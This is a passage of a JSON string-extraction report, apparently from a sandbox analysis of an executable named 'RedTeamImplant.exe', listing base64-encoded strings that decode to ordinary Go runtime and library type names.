Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuYWJpU3RlcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuYWJpU3RlcEtpbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuYml0VmVjdG9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuQ2hhbkRpcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuZmxhZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuS2luZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QubGF5b3V0S2V5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QubGF5b3V0VHlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QubWFrZUZ1bmNDdHh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuTWV0aG9k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QubWV0aG9kVmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QucnR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuU3RydWN0RmllbGQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuU3RydWN0VGFn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuVHlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuVmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuVmFsdWVFcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3RsaXRlLnJ0eXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3RsaXRlLlR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuX2RlZmVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuX2Z1bmM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuX3Bhbmlj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuX3R5cGVQYWly","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuYWJpRGVzYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuYWJpUGFydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuYWJpUGFydEtpbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuYWRkclJhbmdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuYW5jZXN0b3JJbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuYml0dmVjdG9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuYm91bmRzRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuYm91bmRzRXJyb3JDb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuY2dvQ2FsbGVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuQ2xlYW51cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuY2xlYW51cEJsb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuY2xlYW51cEJsb2NrSGVhZGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuY29ybw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuY3B1U3RhdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuY3B1U3RhdHNBZ2dyZWdhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZGVidWdDYWxsV3JhcEFyZ3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZGxvZ1Blck0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZXJyb3JBZGRyZXNzU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZXJyb3JTdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuRnJhbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuRnJhbWVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuRnVuYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZnVuY0luZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZnVuY3RhYg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZnVuY3ZhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZ2NCZ01hcmtXb3JrZXJOb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZ2NCaXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZ2NsaW5rcHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZ2NNYXJrV29ya2VyTW9kZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZ2NTdGF0c0FnZ3JlZ2F0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZ2NXb3Jr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZ0xpc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZ29idWY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZ3NpZ25hbFN0YWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZ1RyYWNlU3RhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuZ3VpbnRwdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuaGNoYW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuaGVhcFN0YXRzQWdncmVnYXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuaGVhcFN0YXRzRGVsdGE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuaGVsZExvY2tJbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuaW5pdFRhc2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubGZub2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubGliY2FsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubGltaXRlckV2ZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubG9jYWxTcGFuUXVldWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubG9ja1Jhbms=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubG9ja1JhbmtTdHJ1Y3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubWNhY2hl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubWV0cmljRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubWV0cmljRmxvYXQ2NEhpc3RvZ3JhbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubWV0cmljS2luZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubWV0cmljUmVhZGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubWV0cmljVmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubUxvY2tQcm9maWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubW9kdWxlZGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubW9kdWxlaGFzaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubU9T","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubVBhZGRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubXNwYW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubVNwYW5MaXN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubVNwYW5TdGF0ZUJveA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubVRyYWNlU3RhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubXVpbnRwdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubXV0ZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubVdhaXRMaXN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubm90ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUubm90SW5IZWFw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUub2ZmQWRkcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucGFnZUNhY2hl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuUGFuaWNOaWxFcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucGNIZWFkZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucGN2YWx1ZUNhY2hl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucGN2YWx1ZUNhY2hlRW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucGVyc2lzdGVudEFsbG9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucGlDb250cm9sbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuUGlubmVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucGlubmVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucGxhaW5FcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucG9sbERlc2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucHRhYkVudHJ5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucFRyYWNlU3RhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUucHVpbnRwdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc2F2ZWRPcGVuRGVmZXJTdGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc2NhdmVuZ2VyU3RhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc2lnc2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc2l6ZUNsYXNzU2NhblN0YXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc2xpY2VJbnRlcmZhY2VQdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3BhbkNsYXNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3BlY2lhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3RhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3RhY2tmcmVlbGlzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3RhdEFnZ3JlZ2F0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3RhdERlcFNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3RyaW5nZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3RyaW5nSW50ZXJmYWNlUHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3Vkb2c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3luY3Rlc3RCdWJibGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3luY3Rlc3REZWFkbG9ja0Vycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3lzbW9udGljaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuc3lzU3RhdHNBZ2dyZWdhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudGV4dHNlY3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudGhyb3dUeXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudGltZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudGltZXJz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudGltZXJXaGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudGltZVRpbWVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudHJhY2VCbG9ja1JlYXNvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudHJhY2VCdWY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudHJhY2VCdWZIZWFkZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudHJhY2VGcmFtZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudHJhY2VTY2hlZFJlc291cmNlU3RhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudHJhY2VUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUuVHlwZUFzc2VydGlvbkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudWludDE2SW50ZXJmYWNlUHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudWludDMySW50ZXJmYWNlUHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudWludDY0SW50ZXJmYWNlUHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUudW50cmFjZWRH","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUud2FpdHE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUud2FpdFJlYXNvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUud2JCdWY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUud2luQ2FsbGJhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUud2luQ2FsbGJhY2tLZXk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUud2lubGliY2FsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUud29ya2J1Zg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJ1bnRpbWUud29ya2J1Zmhkcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN0cnVjdCB7IEYgdWludHB0cjsgWDAgKnN0cnVjdCB7IGYgZnVuYygpIGdvLnNoYXBlLmJvb2w7IG9uY2Ugc3luYy5PbmNlOyB2YWxpZCBib29sOyBwIGludGVyZmFjZSB7fTsgcmVzdWx0IGdvLnNoYXBlLmJvb2wgfTsgWDEgKls0XXVpbnRwdHIgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN0cnVjdCB7fQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMuZGVxdWV1ZU5pbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMuZWZhY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMuZXF1YWxGdW5j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMuaGFzaEZ1bmM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMuTXV0ZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMubm9Db3B5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMuT25jZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMuUG9vbA==","type":"Ansi","source":"Memory/File 